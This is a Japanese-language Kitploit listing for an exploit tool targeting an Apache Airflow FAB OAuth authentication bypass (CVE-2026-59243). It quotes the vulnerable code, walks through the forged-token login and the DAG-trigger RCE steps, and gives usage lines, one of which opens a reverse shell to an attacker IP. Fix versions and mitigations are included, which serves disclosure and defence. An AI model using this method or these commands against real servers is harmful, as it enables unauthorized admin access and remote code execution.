Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-59243_exploit — Apache Airflow FAB OAuth 認証バイパス(CVE-2026-59243)のエクスプロイトです。REST API 経由で細工した DAG をトリガーし、管理者アクセスとリモートコード実行を達成します。 | Kitploit
ツール/GitHubGitHub/0xdak/cve-2026-59243_exploit
認証と認可エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングAPIセキュリティ
GitHub0xdak/cve-2026-59243_exploit

CVE-2026-59243_exploit

Apache Airflow FAB OAuth 認証バイパス(CVE-2026-59243)のエクスプロイトです。REST API 経由で細工した DAG をトリガーし、管理者アクセスとリモートコード実行を達成します。

リポジトリを見る
15日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-59243 — Apache Airflow FAB Provider OAuth 認証バイパス → DAG RCE

Apache Airflow の FAB 認証マネージャープロバイダー(apache-airflow-providers-fab)における認証バイパス。トリガーされた DAG を介してリモートコード実行(RCE)に至ります。

このプロバイダーは Azure OAuth id_token を、署名検証がデフォルトで無効のままデコードします(airflow/providers/fab/auth_manager/security_manager/override.py の _decode_and_validate_azure_jwt):

root@kitploit:~
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
    ...                                            # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload))   # raw payload, NO signature check

クレームはそのまま ID にマッピングされます — oid → ユーザー名、roles → role_keys — そして AUTH_ROLES_MAPPING により、roles=["Azure-Admins"] クレームが Admin ロールに変換されます。トークンの署名・発行者・対象者(audience)は一切検証されないため(CWE-347)、OAuth フローを完了させた攻撃者は、実際の認証情報のない Admin として認証されます。Admin はその後、任意のコマンドを実行する DAG をトリガーできます。

  • 影響を受けるバージョン: apache-airflow-providers-fab < 3.7.3(apache-airflow >= 3.0.2 を使用している場合)
  • 修正: 3.7.3(デフォルトが verify_signature=True に変更。トークンは Microsoft の JWKS に対して検証されます)
  • CWE: 347(暗号署名の検証の不備)
  • デフォルトポート: 8080(Airflow UI + REST API)
  • 影響: 未認証での Admin アクセス → DAG タスクを介した RCE(Airflow ワーカーユーザーとして実行)

要件

Python 3 標準ライブラリのみで動作します。対象には、脆弱性のある Azure OAuth プロバイダーを構成した FAB 認証マネージャーが必要です。また、RCE のステップには、タスクが攻撃者制御の dag_run.conf を実行する DAG が必要です。

使い方

root@kitploit:~
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444   # nc -lvnp 4444 first

動作の仕組み

  1. 認証バイパス — クッキージャーを使用して OAuth フロー(GET /auth/login/azure → IdP → /auth/oauth-authorized/azure)を実行します。FAB は署名なし・偽造された id_token を受け入れ、Admin としてログインし、session クッキーと _token クッキー(REST API が期待する JWT)を設定します。
  2. RCE — POST /api/v2/dags/<dag>/dagRuns(Bearer _token)で {"conf":{"cmd":"..."}} を送信すると、BashOperator が dag_run.conf['cmd'] を実行する DAG がトリガーされます。実行ごとに 一意の logical_date を使用してください((dag_id, logical_date) のペアはメタデータ DB 内で一意です)。

このツールはまた、OAuth の authorize リダイレクト内のループバックホストを対象サーバーに書き換えるため、サーバー設定で IdP が 127.0.0.1 として示されているリモート対象に対しても機能します。

注意

これはトークン検証の欠陥を悪用するものです。Admin に到達するには、OAuth フローが昇格された roles クレームを含むトークンを生成する必要があります。Airflow が署名を一切検証しないため、IdP/トークンに影響を与えられる環境ではこれは簡単です。RCE のステップは dag_run.conf を実行する DAG(一般的なパターン)を前提としています。そうでない場合でも、Admin アクセスは他の Airflow 機能を介して活用できます。

対策

apache-airflow-providers-fab を ≥ 3.7.3 にアップグレードしてください。外部からアサートされた OAuth ロールクレームを Admin に直接マッピングしないでください。Airflow を root で実行しないでください。UI/API を信頼できないネットワークに公開しないでください。

免責事項

許可されたセキュリティテストおよび教育目的にのみ使用してください。所有しているシステム、またはテストする明示的な許可を得たシステムに対してのみ使用してください。

ツールをダウンロード